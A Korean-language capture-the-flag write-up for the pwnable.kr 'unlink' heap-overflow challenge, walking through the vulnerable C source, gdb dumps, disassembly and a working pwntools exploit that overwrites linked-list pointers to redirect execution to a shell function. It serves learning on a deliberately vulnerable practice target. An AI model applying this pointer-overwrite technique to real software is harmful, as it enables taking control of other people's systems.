pwnable.kr unlink - writeup
unlink@ubuntu:~$ cat unlink.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
코드를 먼저 확인해봐요. unlink 함수 부분이 취약하니, heap overflow을 일으키라고 적혀있네요 ㅎㅎ 아마 이를 통해서 shell함수를 실행시키는 것 같네요.
그리고 A,B,C를 double linked list로 만들어줬어요.
unlink에 대해서 제가 이해한 대로 간단하게 글을 썼어요. -> https://dangdangs.tistory.com/7
스택 주소와 힙 주소를 알려주니까, gdb를 통해서 AAAABBBB를 넣고 스택과 힙을 확인해봤어요
here is stack address leak: 0xffd5ac34
here is heap address leak: 0x99cb410
now that you have leaks, get shell!
AAAABBBB
Breakpoint 1, 0x080485e9 in main ()
(gdb) x/20wx 0xffd5ac34
0xffd5ac34: 0x099cb410 0x099cb440 0x099cb428 0xf772f3dc
0xffd5ac44: 0xffd5ac60 0x00000000 0xf7595637 0xf772f000
0xffd5ac54: 0xf772f000 0x00000000 0xf7595637 0x00000001
0xffd5ac64: 0xffd5acf4 0xffd5acfc 0x00000000 0x00000000
0xffd5ac74: 0x00000000 0xf772f000 0xf7768c04 0xf7768000
(gdb) x/20wx 0x99cb410
0x99cb410: 0x099cb428 0x00000000 0x41414141 0x42424242
0x99cb420: 0x00000000 0x00000019 0x099cb440 0x099cb410
0x99cb430: 0x00000000 0x00000000 0x00000000 0x00000019
0x99cb440: 0x00000000 0x099cb428 0x00000000 0x00000000
0x99cb450: 0x00000000 0x00000409 0x20776f6e 0x74616874
데이터가 들어간 것을 확인할 수가 있어요. 그리고 malloc으로 동적할당된 크기가 0x10이라느 것을 알 수가 있어요. 물론 메모리를 관리하기 위해 필요한 정보들도 들어가니까, 0x18이라는 것을 알수가 있어요.
또한 메모리내에서도 double linked list라는 것을 알 수 있어요.
A->FD=0x099cb428(B의 주소)
B->FD=0x099cb440(C의 주소)
B->BK=0x099cb410(A의 주소)
C->BK=0x099cb428(A의 주소)
그러면 unlink함수를 한번 확인 해볼까요?
Dump of assembler code for function unlink:
0x08048504 <+0>: push ebp
0x08048505 <+1>: mov ebp,esp
0x08048507 <+3>: sub esp,0x10
0x0804850a <+6>: mov eax,DWORD PTR [ebp+0x8]
0x0804850d <+9>: mov eax,DWORD PTR [eax+0x4]
0x08048510 <+12>: mov DWORD PTR [ebp-0x4],eax // ebp-0x4에 B->BK 값을 넣음.
0x08048513 <+15>: mov eax,DWORD PTR [ebp+0x8]
0x08048516 <+18>: mov eax,DWORD PTR [eax]
0x08048518 <+20>: mov DWORD PTR [ebp-0x8],eax // ebp-0x8에 B->FD 값을 넣음.
0x0804851b <+23>: mov eax,DWORD PTR [ebp-0x8]
0x0804851e <+26>: mov edx,DWORD PTR [ebp-0x4]
0x08048521 <+29>: mov DWORD PTR [eax+0x4],edx // ((B->FD)+4))에 B->BK 값을 넣음
0x08048524 <+32>: mov eax,DWORD PTR [ebp-0x4]
0x08048527 <+35>: mov edx,DWORD PTR [ebp-0x8]
0x0804852a <+38>: mov DWORD PTR [eax],edx // (B->BK)에 B->FD 값을 넣음
0x0804852c <+40>: nop
0x0804852d <+41>: leave
0x0804852e <+42>: ret
unlink 함수를 다음과 같이 4등분으로 나눠줄 수 있어요. 이 부분을 확인해보면, A,B,C B와의 연결을 끊어버리고, A와C만 연결된다는 것을 알 수가 있어요. 이때, B의 fd와 B의 bk를 조작해서 shell함수를 시작시키면 되겠네요!
그후에 아래와 같이 메인이 종료가 되요 어 근데, 중간에 "lea esp, [ecx-0x4]"가 중간에 껴있어요 leave 명령어가 일어난후 바로 ret를 하는게 아니라 [ecx-0x4]로 esp를 옮긴후 ret를 하네요. 그렇다면 ecx-0x4에다가 shell 명령어를 넣는게 주 목표가 될 것 같아요!
0x080485ff <+208>: mov ecx,DWORD PTR [ebp-0x4]
0x08048602 <+211>: leave
0x08048603 <+212>: lea esp,[ecx-0x4]
0x08048606 <+215>: ret
아까 unlink 함수를 분석하면서, 총 4가지 단계로 나눌 수 있어요.
-
ebp-0x4에 B->BK 값을 넣음
-
ebp-0x8에 B->FD 값을 넣음
-
((B->FD)+4))에 B->BK 값을 넣음
-
(B->BK)에 B->FD 값을 넣음
여기서 중요한 부분은 3, 4번이에요. 이를 통해서 ret에 저희가 원하는 쉘함수의 주소를 넣을 수 있어요.
일반 버퍼에 쉘함수의 주소를 적고, FD,BK를 덮어씌우기 전까지 더미 값을 넣고, 그후에 FD,BK 값을 넣으면되는데
어떻게 해야할까요
B->FD에는 stack주소를 조작해서 넣고, B->BK에는 heap주소를 조작해서 넣어서, heap에 넣은 쉘함수의 주소를 가리키도록하면 될 것 같아요.
((B->FD)+4))와 [ecx-0x4]를 고려해서, b->FD에는 stack주소+12를 넣고, B->BK에 heap+12를 넣으면 되요!
그렇게되면, unlink를 통해서 ebp-0x4에 heap+12주소가 들어가게 되고, "lea esp,[ecx-0x4]"를 통해서 esp가 쉘함수의 주소를 가리키게되고, ret을 통해서 쉘함수가 실행이되요!
아래와 같이 파이썬을 통해서 exploit를 작성했어요!
from pwn import *
s=ssh(user='unlink',host='pwnable.kr',port=2222,password='guest')
p=s.process('./unlink')
print p.recvuntil('stack address leak: ')
stackAddr=int(p.recvuntil('\n')[:-1],16)
print p.recvuntil('heap address leak: ')
heapAddr=int(p.recvuntil('\n')[:-1],16)
print("stackAddr : 0x{}, heapAddr : 0x{}".format(hex(stackAddr),hex(heapAddr)))
payload=p32(0x080484eb)
payload+="A"*12
payload+=p32(stackAddr+0xc)
payload+=p32(heapAddr+0xc)
p.sendline(payload)
p.interactive()